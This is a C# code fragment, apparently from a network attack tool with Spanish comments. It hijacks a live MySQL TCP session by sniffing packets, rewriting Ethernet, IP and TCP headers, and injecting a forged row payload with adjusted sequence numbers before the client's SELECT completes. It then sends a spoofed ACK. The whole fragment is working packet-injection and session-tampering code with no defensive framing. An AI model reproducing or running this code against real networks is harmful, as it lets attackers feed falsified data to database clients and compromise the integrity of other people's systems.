void Inject(NetworkSniffer sniffer, TcpStream stream, Packet[] packets) { WriteInfo("Injecting packets"); foreach (EthernetPacket p in packets) { // Override ethernet p.DestinationHwAddress = stream.DestinationHwAddress; p.SourceHwAddress = stream.SourceHwAddress; p.UpdateCalculatedValues(); IpPacket ip = (IpPacket)p.PayloadPacket; ip.SourceAddress = stream.Source.Address; ip.DestinationAddress = stream.Destination.Address; ip.UpdateCalculatedValues(); if (ip.Protocol != IPProtocolType.TCP) { continue; } TcpPacket tcp = (TcpPacket)ip.PayloadPacket; tcp.SourcePort = (ushort)stream.Source.Port; tcp.DestinationPort = (ushort)stream.Destination.Port; tcp.UpdateCalculatedValues(); // Send sniffer.Send(p); } }
static void Ns_OnPacket(object sender, IPProtocolType protocolType, EthernetPacket packet) { NetworkSniffer ns = (NetworkSniffer)sender; IPv4Packet ip = (IPv4Packet)packet.PayloadPacket; TcpPacket t = (TcpPacket)ip.PayloadPacket; // Si el paquete recibido es el de respuesta OK del mysql if (t.PayloadData.SequenceEqual(ResponseOk)) { Parent = packet; // Replicamos el paquete, enviando el payload de la fila, si, antes de recibir el SELECT LastSequenceId = (uint)(t.SequenceNumber + t.PayloadData.Length); ip.Id++; t.SequenceNumber = LastSequenceId; t.OptionsCollection.Clear(); t.PayloadData = Payload; t.Ack = true; t.Psh = true; ip.UpdateCalculatedValues(); t.UpdateCalculatedValues(); ip.UpdateIPChecksum(); t.UpdateTCPChecksum(); ns.Send(packet); LastSequenceId = (uint)(t.SequenceNumber + t.PayloadData.Length); Console.WriteLine(t.ToString(StringOutputType.Verbose)); } else { // Si el paquete contiene el valor SELECT string ascii = Encoding.ASCII.GetString(t.PayloadData); if (Parent != null && ascii.Contains("SELECT")) { // Ya no actuamos mas ns.OnPacket -= Ns_OnPacket; ip = (IPv4Packet)Parent.PayloadPacket; t = (TcpPacket)ip.PayloadPacket; // Enviamos un ACK del paquete recibido, para darle por bueno t.SequenceNumber = LastSequenceId; t.AcknowledgmentNumber = t.AcknowledgmentNumber; t.PayloadData = new byte[] { }; ip.Id++; t.Ack = true; t.Psh = false; ip.UpdateCalculatedValues(); t.UpdateCalculatedValues(); ip.UpdateIPChecksum(); t.UpdateTCPChecksum(); ns.Send(packet); Console.WriteLine(t.ToString(StringOutputType.Verbose)); } } }